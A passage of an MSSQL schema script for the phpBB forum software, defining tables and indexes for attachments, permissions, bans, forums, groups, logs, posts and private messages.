PRIMARY KEY CLUSTERED ( [attach_id] ) ON [PRIMARY] GO CREATE INDEX [filetime] ON [phpbb_attachments]([filetime]) ON [PRIMARY] GO CREATE INDEX [post_msg_id] ON [phpbb_attachments]([post_msg_id]) ON [PRIMARY] GO CREATE INDEX [topic_id] ON [phpbb_attachments]([topic_id]) ON [PRIMARY] GO CREATE INDEX [poster_id] ON [phpbb_attachments]([poster_id]) ON [PRIMARY] GO CREATE INDEX [is_orphan] ON [phpbb_attachments]([is_orphan]) ON [PRIMARY] GO /* Table: 'phpbb_acl_groups' */ CREATE TABLE [phpbb_acl_groups] ( [group_id] [int] DEFAULT (0) NOT NULL , [forum_id] [int] DEFAULT (0) NOT NULL , [auth_option_id] [int] DEFAULT (0) NOT NULL , [auth_role_id] [int] DEFAULT (0) NOT NULL , [auth_setting] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO CREATE INDEX [group_id] ON [phpbb_acl_groups]([group_id]) ON [PRIMARY] GO CREATE INDEX [auth_opt_id] ON [phpbb_acl_groups]([auth_option_id]) ON [PRIMARY] GO CREATE INDEX [auth_role_id] ON [phpbb_acl_groups]([auth_role_id]) ON [PRIMARY] GO /* Table: 'phpbb_acl_options' */ CREATE TABLE [phpbb_acl_options] ( [auth_option_id] [int] IDENTITY (1, 1) NOT NULL , [auth_option] [varchar] (50) DEFAULT ('') NOT NULL , [is_global] [int] DEFAULT (0) NOT NULL , [is_local] [int] DEFAULT (0) NOT NULL , [founder_only] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_acl_options] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_acl_options] PRIMARY KEY CLUSTERED ( [auth_option_id] ) ON [PRIMARY] GO CREATE UNIQUE INDEX [auth_option] ON [phpbb_acl_options]([auth_option]) ON [PRIMARY] GO /* Table: 'phpbb_acl_roles' */ CREATE TABLE [phpbb_acl_roles] ( [role_id] [int] IDENTITY (1, 1) NOT NULL , [role_name] [varchar] (255) DEFAULT ('') NOT NULL , [role_description] [varchar] (4000) DEFAULT ('') NOT NULL , [role_type] [varchar] (10) DEFAULT ('') NOT NULL , [role_order] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_acl_roles] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_acl_roles] PRIMARY KEY CLUSTERED ( [role_id] ) ON [PRIMARY] GO CREATE INDEX [role_type] ON [phpbb_acl_roles]([role_type]) ON [PRIMARY] GO CREATE INDEX [role_order] ON [phpbb_acl_roles]([role_order]) ON [PRIMARY] GO /* Table: 'phpbb_acl_roles_data' */ CREATE TABLE [phpbb_acl_roles_data] ( [role_id] [int] DEFAULT (0) NOT NULL , [auth_option_id] [int] DEFAULT (0) NOT NULL , [auth_setting] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_acl_roles_data] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_acl_roles_data] PRIMARY KEY CLUSTERED ( [role_id], [auth_option_id] ) ON [PRIMARY] GO CREATE INDEX [ath_op_id] ON [phpbb_acl_roles_data]([auth_option_id]) ON [PRIMARY] GO /* Table: 'phpbb_acl_users' */ CREATE TABLE [phpbb_acl_users] ( [user_id] [int] DEFAULT (0) NOT NULL , [forum_id] [int] DEFAULT (0) NOT NULL , [auth_option_id] [int] DEFAULT (0) NOT NULL , [auth_role_id] [int] DEFAULT (0) NOT NULL , [auth_setting] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO CREATE INDEX [user_id] ON [phpbb_acl_users]([user_id]) ON [PRIMARY] GO CREATE INDEX [auth_option_id] ON [phpbb_acl_users]([auth_option_id]) ON [PRIMARY] GO CREATE INDEX [auth_role_id] ON [phpbb_acl_users]([auth_role_id]) ON [PRIMARY] GO /* Table: 'phpbb_banlist' */ CREATE TABLE [phpbb_banlist] ( [ban_id] [int] IDENTITY (1, 1) NOT NULL , [ban_userid] [int] DEFAULT (0) NOT NULL , [ban_ip] [varchar] (40) DEFAULT ('') NOT NULL , [ban_email] [varchar] (100) DEFAULT ('') NOT NULL , [ban_start] [int] DEFAULT (0) NOT NULL , [ban_end] [int] DEFAULT (0) NOT NULL , [ban_exclude] [int] DEFAULT (0) NOT NULL , [ban_reason] [varchar] (255) DEFAULT ('') NOT NULL , [ban_give_reason] [varchar] (255) DEFAULT ('') NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_banlist] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_banlist] PRIMARY KEY CLUSTERED ( [ban_id] ) ON [PRIMARY] GO CREATE INDEX [ban_end] ON [phpbb_banlist]([ban_end]) ON [PRIMARY] GO CREATE INDEX [ban_user] ON [phpbb_banlist]([ban_userid], [ban_exclude]) ON [PRIMARY] GO CREATE INDEX [ban_email] ON [phpbb_banlist]([ban_email], [ban_exclude]) ON [PRIMARY] GO CREATE INDEX [ban_ip] ON [phpbb_banlist]([ban_ip], [ban_exclude]) ON [PRIMARY] GO /* Table: 'phpbb_bbcodes' */ CREATE TABLE [phpbb_bbcodes] ( [bbcode_id] [int] DEFAULT (0) NOT NULL , [bbcode_tag] [varchar] (16) DEFAULT ('') NOT NULL , [bbcode_helpline] [varchar] (255) DEFAULT ('') NOT NULL , [display_on_posting] [int] DEFAULT (0) NOT NULL , [bbcode_match] [varchar] (4000) DEFAULT ('') NOT NULL , [bbcode_tpl] [text] DEFAULT ('') NOT NULL , [first_pass_match] [text] DEFAULT ('') NOT NULL , [first_pass_replace] [text] DEFAULT ('') NOT NULL , [second_pass_match] [text] DEFAULT ('') NOT NULL , [second_pass_replace] [text] DEFAULT ('') NOT NULL ) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY] GO ALTER TABLE [phpbb_bbcodes] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_bbcodes] PRIMARY KEY CLUSTERED ( [bbcode_id] ) ON [PRIMARY] GO CREATE INDEX [display_on_post] ON [phpbb_bbcodes]([display_on_posting]) ON [PRIMARY] GO /* Table: 'phpbb_bookmarks' */ CREATE TABLE [phpbb_bookmarks] ( [topic_id] [int] DEFAULT (0) NOT NULL , [user_id] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_bookmarks] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_bookmarks] PRIMARY KEY CLUSTERED ( [topic_id], [user_id] ) ON [PRIMARY] GO /* Table: 'phpbb_bots' */ CREATE TABLE [phpbb_bots] ( [bot_id] [int] IDENTITY (1, 1) NOT NULL , [bot_active] [int] DEFAULT (1) NOT NULL , [bot_name] [varchar] (255) DEFAULT ('') NOT NULL , [user_id] [int] DEFAULT (0) NOT NULL , [bot_agent] [varchar] (255) DEFAULT ('') NOT NULL , [bot_ip] [varchar] (255) DEFAULT ('') NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_bots] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_bots] PRIMARY KEY CLUSTERED ( [bot_id] ) ON [PRIMARY] GO CREATE INDEX [bot_active] ON [phpbb_bots]([bot_active]) ON [PRIMARY] GO /* Table: 'phpbb_config' */ CREATE TABLE [phpbb_config] ( [config_name] [varchar] (255) DEFAULT ('') NOT NULL , [config_value] [varchar] (255) DEFAULT ('') NOT NULL , [is_dynamic] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_config] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_config] PRIMARY KEY CLUSTERED ( [config_name] ) ON [PRIMARY] GO CREATE INDEX [is_dynamic] ON [phpbb_config]([is_dynamic]) ON [PRIMARY] GO /* Table: 'phpbb_confirm' */ CREATE TABLE [phpbb_confirm] ( [confirm_id] [char] (32) DEFAULT ('') NOT NULL , [session_id] [char] (32) DEFAULT ('') NOT NULL , [confirm_type] [int] DEFAULT (0) NOT NULL , [code] [varchar] (8) DEFAULT ('') NOT NULL , [seed] [int] DEFAULT (0) NOT NULL , [attempts] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_confirm] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_confirm] PRIMARY KEY CLUSTERED ( [session_id], [confirm_id] ) ON [PRIMARY] GO CREATE INDEX [confirm_type] ON [phpbb_confirm]([confirm_type]) ON [PRIMARY] GO /* Table: 'phpbb_disallow' */ CREATE TABLE [phpbb_disallow] ( [disallow_id] [int] IDENTITY (1, 1) NOT NULL , [disallow_username] [varchar] (255) DEFAULT ('') NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_disallow] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_disallow] PRIMARY KEY CLUSTERED ( [disallow_id] ) ON [PRIMARY] GO /* Table: 'phpbb_drafts' */ CREATE TABLE [phpbb_drafts] ( [draft_id] [int] IDENTITY (1, 1) NOT NULL , [user_id] [int] DEFAULT (0) NOT NULL , [topic_id] [int] DEFAULT (0) NOT NULL , [forum_id] [int] DEFAULT (0) NOT NULL , [save_time] [int] DEFAULT (0) NOT NULL , [draft_subject] [varchar] (255) DEFAULT ('') NOT NULL , [draft_message] [text] DEFAULT ('') NOT NULL ) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY] GO ALTER TABLE [phpbb_drafts] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_drafts] PRIMARY KEY CLUSTERED ( [draft_id] ) ON [PRIMARY] GO CREATE INDEX [save_time] ON [phpbb_drafts]([save_time]) ON [PRIMARY] GO /* Table: 'phpbb_extensions' */ CREATE TABLE [phpbb_extensions] ( [extension_id] [int] IDENTITY (1, 1) NOT NULL , [group_id] [int] DEFAULT (0) NOT NULL , [extension] [varchar] (100) DEFAULT ('') NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_extensions] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_extensions] PRIMARY KEY CLUSTERED ( [extension_id] ) ON [PRIMARY] GO /* Table: 'phpbb_extension_groups' */ CREATE TABLE [phpbb_extension_groups] ( [group_id] [int] IDENTITY (1, 1) NOT NULL , [group_name] [varchar] (255) DEFAULT ('') NOT NULL , [cat_id] [int] DEFAULT (0) NOT NULL , [allow_group] [int] DEFAULT (0) NOT NULL , [download_mode] [int] DEFAULT (1) NOT NULL , [upload_icon] [varchar] (255) DEFAULT ('') NOT NULL , [max_filesize] [int] DEFAULT (0) NOT NULL , [allowed_forums] [varchar] (8000) DEFAULT ('') NOT NULL , [allow_in_pm] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_extension_groups] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_extension_groups] PRIMARY KEY CLUSTERED ( [group_id] ) ON [PRIMARY] GO /* Table: 'phpbb_forums' */ CREATE TABLE [phpbb_forums] ( [forum_id] [int] IDENTITY (1, 1) NOT NULL , [parent_id] [int] DEFAULT (0) NOT NULL , [left_id] [int] DEFAULT (0) NOT NULL , [right_id] [int] DEFAULT (0) NOT NULL , [forum_parents] [text] DEFAULT ('') NOT NULL , [forum_name] [varchar] (255) DEFAULT ('') NOT NULL , [forum_desc] [varchar] (4000) DEFAULT ('') NOT NULL , [forum_desc_bitfield] [varchar] (255) DEFAULT ('') NOT NULL , [forum_desc_options] [int] DEFAULT (7) NOT NULL , [forum_desc_uid] [varchar] (8) DEFAULT ('') NOT NULL , [forum_link] [varchar] (255) DEFAULT ('') NOT NULL , [forum_password] [varchar] (40) DEFAULT ('') NOT NULL , [forum_style] [int] DEFAULT (0) NOT NULL , [forum_image] [varchar] (255) DEFAULT ('') NOT NULL , [forum_rules] [varchar] (4000) DEFAULT ('') NOT NULL , [forum_rules_link] [varchar] (255) DEFAULT ('') NOT NULL , [forum_rules_bitfield] [varchar] (255) DEFAULT ('') NOT NULL , [forum_rules_options] [int] DEFAULT (7) NOT NULL , [forum_rules_uid] [varchar] (8) DEFAULT ('') NOT NULL , [forum_topics_per_page] [int] DEFAULT (0) NOT NULL , [forum_type] [int] DEFAULT (0) NOT NULL , [forum_status] [int] DEFAULT (0) NOT NULL , [forum_posts] [int] DEFAULT (0) NOT NULL , [forum_topics] [int] DEFAULT (0) NOT NULL , [forum_topics_real] [int] DEFAULT (0) NOT NULL , [forum_last_post_id] [int] DEFAULT (0) NOT NULL , [forum_last_poster_id] [int] DEFAULT (0) NOT NULL , [forum_last_post_subject] [varchar] (255) DEFAULT ('') NOT NULL , [forum_last_post_time] [int] DEFAULT (0) NOT NULL , [forum_last_poster_name] [varchar] (255) DEFAULT ('') NOT NULL , [forum_last_poster_colour] [varchar] (6) DEFAULT ('') NOT NULL , [forum_flags] [int] DEFAULT (32) NOT NULL , [forum_options] [int] DEFAULT (0) NOT NULL , [display_subforum_list] [int] DEFAULT (1) NOT NULL , [display_on_index] [int] DEFAULT (1) NOT NULL , [enable_indexing] [int] DEFAULT (1) NOT NULL , [enable_icons] [int] DEFAULT (1) NOT NULL , [enable_prune] [int] DEFAULT (0) NOT NULL , [prune_next] [int] DEFAULT (0) NOT NULL , [prune_days] [int] DEFAULT (0) NOT NULL , [prune_viewed] [int] DEFAULT (0) NOT NULL , [prune_freq] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY] GO ALTER TABLE [phpbb_forums] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_forums] PRIMARY KEY CLUSTERED ( [forum_id] ) ON [PRIMARY] GO CREATE INDEX [left_right_id] ON [phpbb_forums]([left_id], [right_id]) ON [PRIMARY] GO CREATE INDEX [forum_lastpost_id] ON [phpbb_forums]([forum_last_post_id]) ON [PRIMARY] GO /* Table: 'phpbb_forums_access' */ CREATE TABLE [phpbb_forums_access] ( [forum_id] [int] DEFAULT (0) NOT NULL , [user_id] [int] DEFAULT (0) NOT NULL , [session_id] [char] (32) DEFAULT ('') NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_forums_access] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_forums_access] PRIMARY KEY CLUSTERED ( [forum_id], [user_id], [session_id] ) ON [PRIMARY] GO /* Table: 'phpbb_forums_track' */ CREATE TABLE [phpbb_forums_track] ( [user_id] [int] DEFAULT (0) NOT NULL , [forum_id] [int] DEFAULT (0) NOT NULL , [mark_time] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_forums_track] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_forums_track] PRIMARY KEY CLUSTERED ( [user_id], [forum_id] ) ON [PRIMARY] GO /* Table: 'phpbb_forums_watch' */ CREATE TABLE [phpbb_forums_watch] ( [forum_id] [int] DEFAULT (0) NOT NULL , [user_id] [int] DEFAULT (0) NOT NULL , [notify_status] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO CREATE INDEX [forum_id] ON [phpbb_forums_watch]([forum_id]) ON [PRIMARY] GO CREATE INDEX [user_id] ON [phpbb_forums_watch]([user_id]) ON [PRIMARY] GO CREATE INDEX [notify_stat] ON [phpbb_forums_watch]([notify_status]) ON [PRIMARY] GO /* Table: 'phpbb_groups' */ CREATE TABLE [phpbb_groups] ( [group_id] [int] IDENTITY (1, 1) NOT NULL , [group_type] [int] DEFAULT (1) NOT NULL , [group_founder_manage] [int] DEFAULT (0) NOT NULL , [group_skip_auth] [int] DEFAULT (0) NOT NULL , [group_name] [varchar] (255) DEFAULT ('') NOT NULL , [group_desc] [varchar] (4000) DEFAULT ('') NOT NULL , [group_desc_bitfield] [varchar] (255) DEFAULT ('') NOT NULL , [group_desc_options] [int] DEFAULT (7) NOT NULL , [group_desc_uid] [varchar] (8) DEFAULT ('') NOT NULL , [group_display] [int] DEFAULT (0) NOT NULL , [group_avatar] [varchar] (255) DEFAULT ('') NOT NULL , [group_avatar_type] [int] DEFAULT (0) NOT NULL , [group_avatar_width] [int] DEFAULT (0) NOT NULL , [group_avatar_height] [int] DEFAULT (0) NOT NULL , [group_rank] [int] DEFAULT (0) NOT NULL , [group_colour] [varchar] (6) DEFAULT ('') NOT NULL , [group_sig_chars] [int] DEFAULT (0) NOT NULL , [group_receive_pm] [int] DEFAULT (0) NOT NULL , [group_message_limit] [int] DEFAULT (0) NOT NULL , [group_max_recipients] [int] DEFAULT (0) NOT NULL , [group_legend] [int] DEFAULT (1) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_groups] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_groups] PRIMARY KEY CLUSTERED ( [group_id] ) ON [PRIMARY] GO CREATE INDEX [group_legend_name] ON [phpbb_groups]([group_legend], [group_name]) ON [PRIMARY] GO /* Table: 'phpbb_icons' */ CREATE TABLE [phpbb_icons] ( [icons_id] [int] IDENTITY (1, 1) NOT NULL , [icons_url] [varchar] (255) DEFAULT ('') NOT NULL , [icons_width] [int] DEFAULT (0) NOT NULL , [icons_height] [int] DEFAULT (0) NOT NULL , [icons_order] [int] DEFAULT (0) NOT NULL , [display_on_posting] [int] DEFAULT (1) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_icons] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_icons] PRIMARY KEY CLUSTERED ( [icons_id] ) ON [PRIMARY] GO CREATE INDEX [display_on_posting] ON [phpbb_icons]([display_on_posting]) ON [PRIMARY] GO /* Table: 'phpbb_lang' */ CREATE TABLE [phpbb_lang] ( [lang_id] [int] IDENTITY (1, 1) NOT NULL , [lang_iso] [varchar] (30) DEFAULT ('') NOT NULL , [lang_dir] [varchar] (30) DEFAULT ('') NOT NULL , [lang_english_name] [varchar] (100) DEFAULT ('') NOT NULL , [lang_local_name] [varchar] (255) DEFAULT ('') NOT NULL , [lang_author] [varchar] (255) DEFAULT ('') NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_lang] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_lang] PRIMARY KEY CLUSTERED ( [lang_id] ) ON [PRIMARY] GO CREATE INDEX [lang_iso] ON [phpbb_lang]([lang_iso]) ON [PRIMARY] GO /* Table: 'phpbb_log' */ CREATE TABLE [phpbb_log] ( [log_id] [int] IDENTITY (1, 1) NOT NULL , [log_type] [int] DEFAULT (0) NOT NULL , [user_id] [int] DEFAULT (0) NOT NULL , [forum_id] [int] DEFAULT (0) NOT NULL , [topic_id] [int] DEFAULT (0) NOT NULL , [reportee_id] [int] DEFAULT (0) NOT NULL , [log_ip] [varchar] (40) DEFAULT ('') NOT NULL , [log_time] [int] DEFAULT (0) NOT NULL , [log_operation] [varchar] (4000) DEFAULT ('') NOT NULL , [log_data] [text] DEFAULT ('') NOT NULL ) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY] GO ALTER TABLE [phpbb_log] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_log] PRIMARY KEY CLUSTERED ( [log_id] ) ON [PRIMARY] GO CREATE INDEX [log_type] ON [phpbb_log]([log_type]) ON [PRIMARY] GO CREATE INDEX [forum_id] ON [phpbb_log]([forum_id]) ON [PRIMARY] GO CREATE INDEX [topic_id] ON [phpbb_log]([topic_id]) ON [PRIMARY] GO CREATE INDEX [reportee_id] ON [phpbb_log]([reportee_id]) ON [PRIMARY] GO CREATE INDEX [user_id] ON [phpbb_log]([user_id]) ON [PRIMARY] GO /* Table: 'phpbb_login_attempts' */ CREATE TABLE [phpbb_login_attempts] ( [attempt_ip] [varchar] (40) DEFAULT ('') NOT NULL , [attempt_browser] [varchar] (150) DEFAULT ('') NOT NULL , [attempt_forwarded_for] [varchar] (255) DEFAULT ('') NOT NULL , [attempt_time] [int] DEFAULT (0) NOT NULL , [user_id] [int] DEFAULT (0) NOT NULL , [username] [varchar] (255) DEFAULT (0) NOT NULL , [username_clean] [varchar] (255) DEFAULT (0) NOT NULL ) ON [PRIMARY] GO CREATE INDEX [att_ip] ON [phpbb_login_attempts]([attempt_ip], [attempt_time]) ON [PRIMARY] GO CREATE INDEX [att_for] ON [phpbb_login_attempts]([attempt_forwarded_for], [attempt_time]) ON [PRIMARY] GO CREATE INDEX [att_time] ON [phpbb_login_attempts]([attempt_time]) ON [PRIMARY] GO CREATE INDEX [user_id] ON [phpbb_login_attempts]([user_id]) ON [PRIMARY] GO /* Table: 'phpbb_moderator_cache' */ CREATE TABLE [phpbb_moderator_cache] ( [forum_id] [int] DEFAULT (0) NOT NULL , [user_id] [int] DEFAULT (0) NOT NULL , [username] [varchar] (255) DEFAULT ('') NOT NULL , [group_id] [int] DEFAULT (0) NOT NULL , [group_name] [varchar] (255) DEFAULT ('') NOT NULL , [display_on_index] [int] DEFAULT (1) NOT NULL ) ON [PRIMARY] GO CREATE INDEX [disp_idx] ON [phpbb_moderator_cache]([display_on_index]) ON [PRIMARY] GO CREATE INDEX [forum_id] ON [phpbb_moderator_cache]([forum_id]) ON [PRIMARY] GO /* Table: 'phpbb_modules' */ CREATE TABLE [phpbb_modules] ( [module_id] [int] IDENTITY (1, 1) NOT NULL , [module_enabled] [int] DEFAULT (1) NOT NULL , [module_display] [int] DEFAULT (1) NOT NULL , [module_basename] [varchar] (255) DEFAULT ('') NOT NULL , [module_class] [varchar] (10) DEFAULT ('') NOT NULL , [parent_id] [int] DEFAULT (0) NOT NULL , [left_id] [int] DEFAULT (0) NOT NULL , [right_id] [int] DEFAULT (0) NOT NULL , [module_langname] [varchar] (255) DEFAULT ('') NOT NULL , [module_mode] [varchar] (255) DEFAULT ('') NOT NULL , [module_auth] [varchar] (255) DEFAULT ('') NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_modules] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_modules] PRIMARY KEY CLUSTERED ( [module_id] ) ON [PRIMARY] GO CREATE INDEX [left_right_id] ON [phpbb_modules]([left_id], [right_id]) ON [PRIMARY] GO CREATE INDEX [module_enabled] ON [phpbb_modules]([module_enabled]) ON [PRIMARY] GO CREATE INDEX [class_left_id] ON [phpbb_modules]([module_class], [left_id]) ON [PRIMARY] GO /* Table: 'phpbb_poll_options' */ CREATE TABLE [phpbb_poll_options] ( [poll_option_id] [int] DEFAULT (0) NOT NULL , [topic_id] [int] DEFAULT (0) NOT NULL , [poll_option_text] [varchar] (4000) DEFAULT ('') NOT NULL , [poll_option_total] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO CREATE INDEX [poll_opt_id] ON [phpbb_poll_options]([poll_option_id]) ON [PRIMARY] GO CREATE INDEX [topic_id] ON [phpbb_poll_options]([topic_id]) ON [PRIMARY] GO /* Table: 'phpbb_poll_votes' */ CREATE TABLE [phpbb_poll_votes] ( [topic_id] [int] DEFAULT (0) NOT NULL , [poll_option_id] [int] DEFAULT (0) NOT NULL , [vote_user_id] [int] DEFAULT (0) NOT NULL , [vote_user_ip] [varchar] (40) DEFAULT ('') NOT NULL ) ON [PRIMARY] GO CREATE INDEX [topic_id] ON [phpbb_poll_votes]([topic_id]) ON [PRIMARY] GO CREATE INDEX [vote_user_id] ON [phpbb_poll_votes]([vote_user_id]) ON [PRIMARY] GO CREATE INDEX [vote_user_ip] ON [phpbb_poll_votes]([vote_user_ip]) ON [PRIMARY] GO /* Table: 'phpbb_posts' */ CREATE TABLE [phpbb_posts] ( [post_id] [int] IDENTITY (1, 1) NOT NULL , [topic_id] [int] DEFAULT (0) NOT NULL , [forum_id] [int] DEFAULT (0) NOT NULL , [poster_id] [int] DEFAULT (0) NOT NULL , [icon_id] [int] DEFAULT (0) NOT NULL , [poster_ip] [varchar] (40) DEFAULT ('') NOT NULL , [post_time] [int] DEFAULT (0) NOT NULL , [post_approved] [int] DEFAULT (1) NOT NULL , [post_reported] [int] DEFAULT (0) NOT NULL , [enable_bbcode] [int] DEFAULT (1) NOT NULL , [enable_smilies] [int] DEFAULT (1) NOT NULL , [enable_magic_url] [int] DEFAULT (1) NOT NULL , [enable_sig] [int] DEFAULT (1) NOT NULL , [post_username] [varchar] (255) DEFAULT ('') NOT NULL , [post_subject] [varchar] (255) DEFAULT ('') NOT NULL , [post_text] [text] DEFAULT ('') NOT NULL , [post_checksum] [varchar] (32) DEFAULT ('') NOT NULL , [post_attachment] [int] DEFAULT (0) NOT NULL , [bbcode_bitfield] [varchar] (255) DEFAULT ('') NOT NULL , [bbcode_uid] [varchar] (8) DEFAULT ('') NOT NULL , [post_postcount] [int] DEFAULT (1) NOT NULL , [post_edit_time] [int] DEFAULT (0) NOT NULL , [post_edit_reason] [varchar] (255) DEFAULT ('') NOT NULL , [post_edit_user] [int] DEFAULT (0) NOT NULL , [post_edit_count] [int] DEFAULT (0) NOT NULL , [post_edit_locked] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY] GO ALTER TABLE [phpbb_posts] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_posts] PRIMARY KEY CLUSTERED ( [post_id] ) ON [PRIMARY] GO CREATE INDEX [forum_id] ON [phpbb_posts]([forum_id]) ON [PRIMARY] GO CREATE INDEX [topic_id] ON [phpbb_posts]([topic_id]) ON [PRIMARY] GO CREATE INDEX [poster_ip] ON [phpbb_posts]([poster_ip]) ON [PRIMARY] GO CREATE INDEX [poster_id] ON [phpbb_posts]([poster_id]) ON [PRIMARY] GO CREATE INDEX [post_approved] ON [phpbb_posts]([post_approved]) ON [PRIMARY] GO CREATE INDEX [post_username] ON [phpbb_posts]([post_username]) ON [PRIMARY] GO CREATE INDEX [tid_post_time] ON [phpbb_posts]([topic_id], [post_time]) ON [PRIMARY] GO /* Table: 'phpbb_privmsgs' */ CREATE TABLE [phpbb_privmsgs] ( [msg_id] [int] IDENTITY (1, 1) NOT NULL , [root_level] [int] DEFAULT (0) NOT NULL , [author_id] [int] DEFAULT (0) NOT NULL , [icon_id] [int] DEFAULT (0) NOT NULL , [author_ip] [varchar] (40) DEFAULT ('') NOT NULL , [message_time] [int] DEFAULT (0) NOT NULL , [enable_bbcode] [int] DEFAULT (1) NOT NULL , [enable_smilies] [int] DEFAULT (1) NOT NULL , [enable_magic_url] [int] DEFAULT (1) NOT NULL , [enable_sig] [int] DEFAULT (1) NOT NULL , [message_subject] [varchar] (255) DEFAULT ('') NOT NULL , [message_text] [text] DEFAULT ('') NOT NULL , [message_edit_reason] [varchar] (255) DEFAULT ('') NOT NULL , [message_edit_user] [int] DEFAULT (0) NOT NULL , [message_attachment] [int] DEFAULT (0) NOT NULL , [bbcode_bitfield] [varchar] (255) DEFAULT ('') NOT NULL , [bbcode_uid] [varchar] (8) DEFAULT ('') NOT NULL , [message_edit_time] [int] DEFAULT (0) NOT NULL , [message_edit_count] [int] DEFAULT (0) NOT NULL , [to_address] [varchar] (4000) DEFAULT ('') NOT NULL , [bcc_address] [varchar] (4000) DEFAULT ('') NOT NULL , [message_reported] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY] GO ALTER TABLE [phpbb_privmsgs] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_privmsgs] PRIMARY KEY CLUSTERED ( [msg_id] ) ON [PRIMARY] GO CREATE INDEX [author_ip] ON [phpbb_privmsgs]([author_ip]) ON [PRIMARY] GO CREATE INDEX [message_time] ON [phpbb_privmsgs]([message_time]) ON [PRIMARY] GO CREATE INDEX [author_id] ON [phpbb_privmsgs]([author_id]) ON [PRIMARY] GO CREATE INDEX [root_level] ON [phpbb_privmsgs]([root_level]) ON [PRIMARY] GO /* Table: 'phpbb_privmsgs_folder' */ CREATE TABLE [phpbb_privmsgs_folder] ( [folder_id] [int] IDENTITY (1, 1) NOT NULL , [user_id] [int] DEFAULT (0) NOT NULL , [folder_name] [varchar] (255) DEFAULT ('') NOT NULL , [pm_count] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_privmsgs_folder] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_privmsgs_folder] PRIMARY KEY CLUSTERED ( [folder_id] ) ON [PRIMARY] GO CREATE INDEX [user_id] ON [phpbb_privmsgs_folder]([user_id]) ON [PRIMARY] GO /* Table: 'phpbb_privmsgs_rules' */ CREATE TABLE [phpbb_privmsgs_rules] ( [rule_id] [int] IDENTITY (1, 1) NOT NULL , [user_id] [int] DEFAULT (0) NOT NULL , [rule_check] [int] DEFAULT (0) NOT NULL , [rule_connection] [int] DEFAULT (0) NOT NULL , [rule_string] [varchar] (255) DEFAULT ('') NOT NULL , [rule_user_id] [int] DEFAULT (0) NOT NULL , [rule_group_id] [int] DEFAULT (0) NOT NULL , [rule_action] [int] DEFAULT (0) NOT NULL , [rule_folder_id] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_privmsgs_rules] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_privmsgs_rules] PRIMARY KEY CLUSTERED ( [rule_id] ) ON [PRIMARY] GO CREATE INDEX [user_id] ON [phpbb_privmsgs_rules]([user_id]) ON [PRIMARY] GO /* Table: 'phpbb_privmsgs_to' */ CREATE TABLE [phpbb_privmsgs_to] ( [msg_id] [int] DEFAULT (0) NOT NULL , [user_id] [int] DEFAULT (0) NOT NULL , [author_id] [int] DEFAULT (0) NOT NULL , [pm_deleted] [int] DEFAULT (0) NOT NULL , [pm_new] [int] DEFAULT (1) NOT NULL , [pm_unread] [int] DEFAULT (1) NOT NULL , [pm_replied] [int] DEFAULT (0) NOT NULL , [pm_marked] [int] DEFAULT (0) NOT NULL , [pm_forwarded] [int] DEFAULT (0) NOT NULL , [folder_id] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO CREATE INDEX [msg_id] ON [phpbb_privmsgs_to]([msg_id]) ON [PRIMARY] GO CREATE INDEX [author_id] ON [phpbb_privmsgs_to]([author_id]) ON [PRIMARY] GO CREATE INDEX [usr_flder_id] ON 